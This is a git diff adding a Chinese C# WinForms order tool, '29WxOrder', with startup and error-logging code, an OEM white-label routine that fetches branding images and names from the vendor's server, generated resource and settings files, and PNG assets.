Application.SetCompatibleTextRenderingDefault(false); + StartUp.Init(); + new Initialization().Get(); + + //BaseClass.IsPinbaobao = true; + //BaseClass.Ico = Resource1.icoy; + //BaseClass.ToolName = "拍单王"; + //GetAuthConfig(); + #region 贴牌 + //本地缓存文件 + string IgPakFile = "locales/ig.pak";//贴牌客服端码 + string OenVersionFile = "locales/igv.pak";//贴牌资源配置版本 + string IaPakFile = "locales/ia.pak";//logo + string IbPakFile = "locales/ib.pak";//ico + string IcPakFile = "locales/ic.pak";//功能配置 + OenMechanism(IgPakFile, OenVersionFile, IaPakFile, IbPakFile, IcPakFile); + #endregion + + //启动界面 + LoginForm login = new LoginForm(args); + login.ShowDialog(); + if (login.DialogResult == DialogResult.OK) + { + login.Dispose(); + Application.Run(new MainForm()); + } + } + catch (Exception ex) + { + string str = GetExceptionMsg(ex, string.Empty); + NaiBa.Util.Helper.LogHelper.WriteWithTime("SystemError:" + str); + MessageBox.Show(str, "系统错误", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + static void Application_ThreadException(object sender, System.Threading.ThreadExceptionEventArgs e) + { + string str = GetExceptionMsg(e.Exception, e.ToString()); + NaiBa.Util.Helper.LogHelper.WriteWithTime("SystemError:" + str); + MessageBox.Show(str, "系统错误", MessageBoxButtons.OK, MessageBoxIcon.Error); + //LogManager.WriteLog(str); + } + + static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) + { + string str = GetExceptionMsg(e.ExceptionObject as Exception, e.ToString()); + NaiBa.Util.Helper.LogHelper.WriteWithTime("SystemError:" + str); + MessageBox.Show(str, "系统错误", MessageBoxButtons.OK, MessageBoxIcon.Error); + //LogManager.WriteLog(str); + } + + /// + /// 生成自定义异常消息 + /// + /// 异常对象 + /// 备用异常消息:当ex为null时有效 + /// 异常字符串文本 + static string GetExceptionMsg(Exception ex, string backStr) + { + StringBuilder sb = new StringBuilder(); + sb.AppendLine("****************************异常文本****************************"); + sb.AppendLine("【出现时间】:" + DateTime.Now.ToString()); + if (ex != null) + { + sb.AppendLine("【异常类型】:" + ex.GetType().Name); + sb.AppendLine("【异常信息】:" + ex.Message); + sb.AppendLine("【堆栈调用】:" + ex.StackTrace); + } + else + { + sb.AppendLine("【未处理异常】:" + backStr); + } + sb.AppendLine("***************************************************************"); + NaiBa.Util.Helper.LogHelper.WriteWithTime("Error:" + sb); + return sb.ToString(); + } + + #region 贴牌 + /// + /// Oen贴牌机制 + /// + /// 贴牌商客户端码文件 + /// 贴牌配置版本号文件 + /// ico本地缓存文件 + /// logo本地缓存文件 + /// 贴牌配置本地缓存文件 + private static void OenMechanism(string IgPakFile, string OenVersionFile, string IaPakFile, string IbPakFile, string IcPakFile) + { + //先检测是否是贴牌版本 + if (!FileBase.Exists(IgPakFile)) + { + return; + } + string sOenCode = FileBase.ReadAllText(IgPakFile); + if (string.IsNullOrEmpty(sOenCode)) + { + MessageBox.Show("缺少配置数据,请重试或联系客服\r\nMissing ig", "提示"); + Process.GetCurrentProcess().Kill(); + return; + } + string data = UserLogin.GetSignaturex() + "&agent_code=" + sOenCode; + string url = BaseClass.DouYinBuildObjString("oem_config&act=get_version"); + string html = GetHtml.PostUtf8(url, data); + string oem_version = "0"; + + if (JObject.Parse(html)["code"].ToString() == "200") + { + oem_version = JObject.Parse(html)["data"].ToString(); + data = UserLogin.GetSignaturex() + "&agent_code=" + sOenCode; + url = BaseClass.DouYinBuildObjString("oem_config&act=get_config_info"); + if (Convert.ToInt32(oem_version) > BaseClass.oem_version) + { + html = GetHtml.PostUtf8(url, data); + if (JObject.Parse(html)["code"].ToString() == "200") + { + //还差 判断没有贴牌文件就自动下载, 把贴牌图标引用到所有窗体中 + string agent_name = JObject.Parse(html)["data"]["agent_name"].ToString(); + string softname = JObject.Parse(html)["data"]["oem_title"].ToString(); + string oem_logo_link = JObject.Parse(html)["data"]["oem_logo_link"].ToString();//logo图片 ia + string oem_icon_link = JObject.Parse(html)["data"]["oem_icon_link"].ToString();//icon图片 ib + string version = JObject.Parse(html)["data"]["version"].ToString(); + FileBase.WriteAllText(OenVersionFile, version); + FileBase.WriteAllText(IcPakFile, agent_name + "\r\n" + softname); + if (!GetHtml.DownloadFile(oem_logo_link, IaPakFile))//logo图片 + { + OenArchieveFailedToExit(); + } + if (!GetHtml.DownloadFile(oem_icon_link, IbPakFile))//icon图片 + { + OenArchieveFailedToExit(); + } + } + else + { + MessageBox.Show("缺少配置数据,请重试或联系客服\r\nError19238", "提示"); + Process.GetCurrentProcess().Kill(); + return; + } + } + if (!FileBase.Exists(IaPakFile)) + { + html = GetHtml.PostUtf8(url, data); + string oem_logo_link = JObject.Parse(html)["data"]["oem_logo_link"].ToString();//logo图片 ia + if (JObject.Parse(html)["code"].ToString() == "200") + { + if (!GetHtml.DownloadFile(oem_logo_link, IaPakFile))//logo图片 + { + OenArchieveFailedToExit(); + } + } + } + if (!FileBase.Exists(IbPakFile)) + { + html = GetHtml.PostUtf8(url, data); + string oem_icon_link = JObject.Parse(html)["data"]["oem_icon_link"].ToString();//icon图片 ib + if (JObject.Parse(html)["code"].ToString() == "200") + { + if (!GetHtml.DownloadFile(oem_icon_link, IaPakFile))//logo图片 + { + OenArchieveFailedToExit(); + } + } + } + if (!FileBase.Exists(IcPakFile)) + { + html = GetHtml.PostUtf8(url, data); + if (JObject.Parse(html)["code"].ToString() == "200") + { + string agent_name = JObject.Parse(html)["data"]["agent_name"].ToString(); + string softname = JObject.Parse(html)["data"]["oem_title"].ToString(); + FileBase.WriteAllText(IcPakFile, agent_name + "\r\n" + softname); + } + } + } + else + { + MessageBox.Show("缺少配置数据,请重试或联系客服\r\nError26730", "提示"); + Process.GetCurrentProcess().Kill(); + return; + } + + #region 读贴牌 + BaseClass.ProgromLogo = Environment.CurrentDirectory + "\\locales\\ia.pak";//logo + BaseClass.ProgromLogoIco = Environment.CurrentDirectory + "\\locales\\ib.pak";//ico + var config = FileBase.ReadAllText("locales\\ic.pak"); + var configArr = config.Split(new string[] { "\r\n" }, StringSplitOptions.None); + if (configArr.Length >= 2) + { + BaseClass.ProgramName = configArr[1]; + BaseClass.AgentName = configArr[0]; + } + #endregion + } + + /// + /// Oen资源有更新 + /// + /// 服务端版本号 + /// 本地版本号 + /// + private static bool NeedUpdate(int iSvrOenVer, int iLocOenVer) + { + return iSvrOenVer > iLocOenVer; + } + + /// + /// OEN资源无更新,但是本地缓存的资源配置不完整 + /// + /// 服务端版本号 + /// 客户端版本号 + /// 本地缓存资源文件ia + /// 本地缓存资源文件ib + /// 本地缓存资源文件ic + /// + private static bool LocalOenResourceLost(int iSvrOenVer, int iLocOenVer, string sIaPakFile, string sIbPakFile, string sIcPakFile) + { + return iSvrOenVer == iLocOenVer && (!FileBase.Exists(sIaPakFile) || !FileBase.Exists(sIbPakFile) || !FileBase.Exists(sIcPakFile)); + } + + /// + /// 当OEN贴牌配置数据获取失败时应用程序退出 + /// + private static void OenArchieveFailedToExit() + { + LogSave.Add("下载或生成Oen配置出现异常!"); + Process.GetCurrentProcess().Kill(); + } + + #endregion + } +} diff --git a/29WxOrder/Properties/AssemblyInfo.cs b/29WxOrder/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..6b76820 --- /dev/null +++ b/29WxOrder/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("29WxOrder")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("29WxOrder")] +[assembly: AssemblyCopyright("Copyright © 2026")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("d51a1bb0-17bb-44c3-9129-1f3187e82729")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*",如下所示: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/29WxOrder/Properties/Resources.Designer.cs b/29WxOrder/Properties/Resources.Designer.cs new file mode 100644 index 0000000..698ad13 --- /dev/null +++ b/29WxOrder/Properties/Resources.Designer.cs @@ -0,0 +1,393 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace _29WxOrder.Properties { + using System; + + + /// + /// 一个强类型的资源类,用于查找本地化的字符串等。 + /// + // 此类是由 StronglyTypedResourceBuilder + // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 + // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen + // (以 /str 作为命令选项),或重新生成 VS 项目。 + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// 返回此类使用的缓存的 ResourceManager 实例。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("_29WxOrder.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// 重写当前线程的 CurrentUICulture 属性,对 + /// 使用此强类型资源类的所有资源查找执行重写。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgErr { + get { + object obj = ResourceManager.GetObject("BaseMsgErr", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgInfo { + get { + object obj = ResourceManager.GetObject("BaseMsgInfo", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgQue { + get { + object obj = ResourceManager.GetObject("BaseMsgQue", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap btncheckoff1 { + get { + object obj = ResourceManager.GetObject("btncheckoff1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap btncheckon1 { + get { + object obj = ResourceManager.GetObject("btncheckon1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap close { + get { + object obj = ResourceManager.GetObject("close", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap close_hover { + get { + object obj = ResourceManager.GetObject("close.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap default_pic { + get { + object obj = ResourceManager.GetObject("default_pic", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap icon { + get { + object obj = ResourceManager.GetObject("icon", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap jzz { + get { + object obj = ResourceManager.GetObject("jzz", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap logo { + get { + object obj = ResourceManager.GetObject("logo", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap max { + get { + object obj = ResourceManager.GetObject("max", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap max_hover { + get { + object obj = ResourceManager.GetObject("max.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap min { + get { + object obj = ResourceManager.GetObject("min", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap min_hover { + get { + object obj = ResourceManager.GetObject("min.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap normal { + get { + object obj = ResourceManager.GetObject("normal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap normal_hover { + get { + object obj = ResourceManager.GetObject("normal.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap qrcode { + get { + object obj = ResourceManager.GetObject("qrcode", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap seting { + get { + object obj = ResourceManager.GetObject("seting", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap seting1 { + get { + object obj = ResourceManager.GetObject("seting1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap user_ico { + get { + object obj = ResourceManager.GetObject("user_ico", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_2_0 { + get { + object obj = ResourceManager.GetObject("x-2.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_2_1 { + get { + object obj = ResourceManager.GetObject("x-2.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_3_0 { + get { + object obj = ResourceManager.GetObject("x-3.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_3_1 { + get { + object obj = ResourceManager.GetObject("x-3.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_4_0 { + get { + object obj = ResourceManager.GetObject("x-4.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_4_1 { + get { + object obj = ResourceManager.GetObject("x-4.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_5_0 { + get { + object obj = ResourceManager.GetObject("x-5.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_5_1 { + get { + object obj = ResourceManager.GetObject("x-5.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_6_0 { + get { + object obj = ResourceManager.GetObject("x-6.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_6_1 { + get { + object obj = ResourceManager.GetObject("x-6.1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap yiwancheng { + get { + object obj = ResourceManager.GetObject("yiwancheng", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap yiwancheng1 { + get { + object obj = ResourceManager.GetObject("yiwancheng1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/29WxOrder/Properties/Resources.resx b/29WxOrder/Properties/Resources.resx new file mode 100644 index 0000000..c25e384 --- /dev/null +++ b/29WxOrder/Properties/Resources.resx @@ -0,0 +1,220 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\BaseMsgErr.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-2.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\max.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\normal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-4.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\min.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-2.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\seting1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\btncheckoff1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\logo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\seting.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\icon.ico;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\max.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\BaseMsgQue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-5.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\yiwancheng.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\min.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-5.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-4.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-6.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-3.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\close.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\btncheckon1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-6.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\user_ico.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\BaseMsgInfo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\x-3.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\normal.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\close.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\yiwancheng1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\jzz.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\default_pic.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\resources\qrcode.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/29WxOrder/Properties/Settings.Designer.cs b/29WxOrder/Properties/Settings.Designer.cs new file mode 100644 index 0000000..8315569 --- /dev/null +++ b/29WxOrder/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace _29WxOrder.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.10.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/29WxOrder/Properties/Settings.settings b/29WxOrder/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/29WxOrder/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/29WxOrder/Properties/app.manifest b/29WxOrder/Properties/app.manifest new file mode 100644 index 0000000..c82193a --- /dev/null +++ b/29WxOrder/Properties/app.manifest @@ -0,0 +1,72 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/29WxOrder/Resources/BaseMsgErr.png b/29WxOrder/Resources/BaseMsgErr.png new file mode 100644 index 0000000..1912f06 Binary files /dev/null and b/29WxOrder/Resources/BaseMsgErr.png differ diff --git a/29WxOrder/Resources/BaseMsgInfo.png b/29WxOrder/Resources/BaseMsgInfo.png new file mode 100644 index 0000000..f0c961e Binary files /dev/null and b/29WxOrder/Resources/BaseMsgInfo.png differ diff --git a/29WxOrder/Resources/BaseMsgQue.png b/29WxOrder/Resources/BaseMsgQue.png new file mode 100644 index 0000000..59ff5e0 Binary files /dev/null and b/29WxOrder/Resources/BaseMsgQue.png differ diff --git a/29WxOrder/Resources/LittleCatLogo.png b/29WxOrder/Resources/LittleCatLogo.png new file mode 100644 index 0000000..3b5612d Binary files /dev/null and b/29WxOrder/Resources/LittleCatLogo.png differ diff --git a/29WxOrder/Resources/btncheckoff1.png b/29WxOrder/Resources/btncheckoff1.png new file mode 100644 index 0000000..bfa8ebb Binary files /dev/null and b/29WxOrder/Resources/btncheckoff1.png differ diff --git a/29WxOrder/Resources/btncheckon1.png b/29WxOrder/Resources/btncheckon1.png new file mode 100644 index 0000000..2bab009 Binary files /dev/null and b/29WxOrder/Resources/btncheckon1.png differ diff --git a/29WxOrder/Resources/close.hover.png b/29WxOrder/Resources/close.hover.png new file mode 100644 index 0000000..232de18 Binary files /dev/null and b/29WxOrder/Resources/close.hover.png differ diff --git a/29WxOrder/Resources/close.png b/29WxOrder/Resources/close.png new file mode 100644 index 0000000..784b6f1 Binary files /dev/null and b/29WxOrder/Resources/close.png differ diff --git a/29WxOrder/Resources/default_pic.png b/29WxOrder/Resources/default_pic.png new file mode 100644 index 0000000..dc6c9b1 Binary files /dev/null and b/29WxOrder/Resources/default_pic.png differ diff --git a/29WxOrder/Resources/jzz.png b/29WxOrder/Resources/jzz.png new file mode 100644 index 0000000..178b9ca Binary files /dev/null and b/29WxOrder/Resources/jzz.png differ diff --git a/29WxOrder/Resources/logo.png b/29WxOrder/Resources/logo.png new file mode 100644 index 0000000..a873002 Binary files /dev/null and b/29WxOrder/Resources/logo.png differ diff --git a/29WxOrder/Resources/max.hover.png b/29WxOrder/Resources/max.hover.png new file mode 100644 index 0000000..2d7f0e4 Binary files /dev/null and b/29WxOrder/Resources/max.hover.png differ diff --git a/29WxOrder/Resources/max.png b/29WxOrder/Resources/max.png new file mode 100644 index 0000000..6094a07 Binary files /dev/null and b/29WxOrder/Resources/max.png differ diff --git a/29WxOrder/Resources/min.hover.png b/29WxOrder/Resources/min.hover.png new file mode 100644 index 0000000..992c843 Binary files /dev/null and b/29WxOrder/Resources/min.hover.png differ diff --git a/29WxOrder/Resources/min.png b/29WxOrder/Resources/min.png new file mode 100644 index 0000000..bf878d8 Binary files /dev/null and b/29WxOrder/Resources/min.png differ diff --git a/29WxOrder/Resources/normal.hover.png b/29WxOrder/Resources/normal.hover.png new file mode 100644 index 0000000..1aa68e4 Binary files /dev/null and b/29WxOrder/Resources/normal.hover.png differ diff --git a/29WxOrder/Resources/normal.png b/29WxOrder/Resources/normal.png new file mode 100644 index 0000000..bb1a37a Binary files /dev/null and b/29WxOrder/Resources/normal.png differ diff --git a/29WxOrder/Resources/qrcode.png b/29WxOrder/Resources/qrcode.png new file mode 100644 index 0000000..b0c50df Binary files /dev/null and b/29WxOrder/Resources/qrcode.png differ diff --git a/29WxOrder/Resources/seting.png b/29WxOrder/Resources/seting.png new file mode 100644 index 0000000..ef16a9c Binary files /dev/null and b/29WxOrder/Resources/seting.png differ diff --git a/29WxOrder/Resources/seting1.png b/29WxOrder/Resources/seting1.png new file mode 100644 index 0000000..20d1295 Binary files /dev/null and b/29WxOrder/Resources/seting1.png differ diff --git a/29WxOrder/Resources/user_ico.png b/29WxOrder/Resources/user_ico.png new file mode 100644 index 0000000..a687926 Binary files /dev/null and b/29WxOrder/Resources/user_ico.png differ diff --git a/29WxOrder/Resources/x-2.0.png b/29WxOrder/Resources/x-2.0.png new file mode 100644 index 0000000..741f298 Binary files /dev/null and b/29WxOrder/Resources/x-2.0.png differ diff --git a/29WxOrder/Resources/x-2.1.png b/29WxOrder/Resources/x-2.1.png new file mode 100644 index 